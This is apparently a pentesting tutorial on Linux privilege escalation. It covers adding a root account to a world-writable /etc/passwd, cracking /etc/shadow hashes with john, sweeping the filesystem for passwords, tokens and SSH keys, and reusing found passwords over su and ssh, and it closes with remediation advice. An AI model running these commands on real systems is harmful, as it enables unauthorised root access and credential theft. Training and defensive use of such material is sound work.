Weak Permissions & Credential Hunting

Not every privesc needs a clever exploit. Two of the most reliable wins are just carelessness: a file with the wrong permissions, or a password someone left lying around. On real boxes these find root more often than any CVE.

Part 1: weak file permissions

A permission bit in the wrong place is a direct path up. The big ones to check:

A writable /etc/passwd

/etc/passwd defines every account. If your user can write to it, you can add your own root account. Historically it can even hold a password hash in the second field:

$ ls -l /etc/passwd
-rw-rw-rw- 1 root root ...          # world-writable, jackpot
$ openssl passwd -1 hacked          # make a hash
$1$xyz$Q9....
# add a uid-0 user with that hash:
$ echo 'pwn:$1$xyz$Q9....:0:0:root:/root:/bin/bash' >> /etc/passwd
$ su pwn        # password: hacked  ->  you are root (uid 0)

A readable /etc/shadow

/etc/shadow holds the password hashes and is normally root-only. If it's readable, copy root's hash and crack it offline:

$ cat /etc/shadow | grep root
root:$6$....:19700:...
# crack it with a wordlist:
$ john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt

Writable service/config files

A config or script that a root service reads or runs, and that you can write, is the same idea as the cron case: change it, and your code runs as root.

Part 2: credential hunting

Passwords hide in plain sight all over a system. Look everywhere:

The grep sweep

grep -riI "password" / 2>/dev/null            # the whole box, ignore binaries & errors
grep -riI "password\|passwd\|secret\|api_key\|token" /var/www /home /opt 2>/dev/null
cat ~/.bash_history                            # what did this user actually type?
find / -name "id_rsa" -o -name "*.pem" 2>/dev/null   # private keys
find / -name "*.env" -o -name "config.php" 2>/dev/null

The payoff: password reuse

People reuse passwords. A database password from a .env is often also the root password, or another user's, or works on another host:

su root                 # try the found password as root
su otheruser            # or as another user
ssh admin@10.0.0.30     # or on another box (lateral movement)

The fix (what you report)

Lock down permissions (/etc/shadow 640 root:shadow, /etc/passwd 644, configs 600), never store plaintext secrets in world-readable files, use a secrets manager, and never reuse passwords across accounts and hosts. Report the exact file, its permissions, and the credential it exposed.

Common questions

"Isn't editing /etc/passwd outdated? Passwords are in /etc/shadow now." Right, real accounts keep their hash in /etc/shadow. But /etc/passwd still accepts a hash in its second field for backward compatibility. So if /etc/passwd is writable, you add a brand-new uid-0 line with your own hash, that's a valid root account, no need to touch /etc/shadow at all.

"I found a hash. How do I know if it's crackable?" Look at the prefix: $1$ (MD5) and $6$ (SHA-512) are crackable with john/hashcat given a good wordlist, weak passwords fall fast, strong ones may never. Cracking isn't guaranteed; it's a bet on the password being weak. If it resists, pivot to another vector.

"Where's the single best place to look for passwords?" Shell history (~/.bash_history) and app config files (.env, wp-config.php, config.php) pay off most often, people paste live credentials into both constantly. After that, private SSH keys (~/.ssh/id_rsa) and backup files.

"I found a password but su root says 'Authentication failure'. Did I waste my time?" Not necessarily, try it everywhere else. People reuse passwords, so a DB password might be another user's login (su otheruser) or work on a different host (ssh admin@10.0.0.30). One found password is a key you try in every lock.

Why this matters

The flashy exploits get the headlines, but a readable config file or a password in someone's shell history is what actually ends most engagements. It costs nothing, leaves almost no trace, and works constantly. After SUID and cron, the credential sweep is the third thing to run on every box.